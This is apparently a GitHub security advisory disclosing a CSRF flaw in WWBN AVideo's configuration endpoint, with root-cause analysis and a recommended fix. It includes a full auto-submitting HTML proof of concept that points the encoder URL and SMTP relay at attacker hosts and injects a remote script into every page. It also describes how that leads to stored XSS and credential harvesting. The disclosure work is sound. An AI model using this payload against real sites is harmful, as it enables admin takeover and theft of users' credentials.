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WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials — wwbn / avideo

Cross-Site Request Forgery (CSRF)

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:

require_once $global['systemRootPath'] . 'objects/user.php'; if (!User::isAdmin()) { die('{"error":"' . __("Permission denied") . '"}'); }

Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:

// objects/configurationUpdate.json.php $config = new AVideoConf(); $config->setContactEmail($_POST['contactEmail']); // :21 $config->setLanguage($_POST['language']); // :22 $config->setWebSiteTitle($_POST['webSiteTitle']); // :23 $config->setDescription($_POST['description']); // :24 $config->setAuthCanComment($_POST['authCanComment']); // :25 $config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26 // Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default): $config->setEncoderURL($_POST['encoder_url']); // :32 $config->setSmtp($_POST['smtp']); // :33 $config->setSmtpAuth($_POST['smtpAuth']); // :34 $config->setSmtpSecure($_POST['smtpSecure']); // :35 $config->setSmtpHost($_POST['smtpHost']); // :36 $config->setSmtpUsername($_POST['smtpUsername']); // :37 $config->setSmtpPassword($_POST['smtpPassword']); // :38 $config->setSmtpPort($_POST['smtpPort']); // :39 $config->setHead($_POST['head']); // :42 // ... // Logo / favicon writes: $fileData = base64DataToImage($_POST['logoImgBase64']); // :68 file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71 // favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120) echo '{"status":"' . $config->save() . '", ...}'; // :130

Why CSRF actually lands

  1. SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.

  2. Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.

  3. The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.

  4. Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

  • setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
  • setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
  • setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
  • logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
  • setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

  1. Attacker hosts evil.html on any origin:
<!doctype html> <html><body> <form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php" method="POST" enctype="application/x-www-form-urlencoded"> <input name="contactEmail" value="[email protected]"> <input name="language" value="en"> <input name="webSiteTitle" value="Pwned"> <input name="description" value="x"> <input name="authCanComment" value="1"> <input name="authCanUploadVideos" value="1"> <input name="authCanViewChart" value="1"> <input name="disable_analytics" value="0"> <input name="allow_download" value="1"> <input name="session_timeout" value="3600"> <input name="encoder_url" value="https://attacker.example.com/Encoder/"> <input name="smtp" value="1"> <input name="smtpAuth" value="1"> <input name="smtpSecure" value="tls"> <input name="smtpHost" value="smtp.attacker.com"> <input name="smtpUsername" value="attacker"> <input name="smtpPassword" value="password"> <input name="smtpPort" value="587"> <input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'> <input name="adsense" value="x"> <input name="autoplay" value="1"> <input name="theme" value="default"> </form> <script>document.getElementById('x').submit();</script> </body></html>

  1. Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.

  2. Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:

    {"status":"1","respnseLogo":[],"respnseFavicon":null}

    The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.

  3. Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.

  4. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

  • Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
  • Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
  • Credential / reset-token exfiltration via attacker-controlled SMTP relay.
  • Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
  • Arbitrary file write under web root via logoImgBase64 / faviconBase64.
  • No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php require_once $global['systemRootPath'] . 'objects/user.php'; require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; if (!User::isAdmin()) { die('{"error":"' . __("Permission denied") . '"}'); } forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-vvfw-4m39-fjqf
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CWEs:

Software From Fixed in
Composer icon wwbn / avideo - 29.0.x

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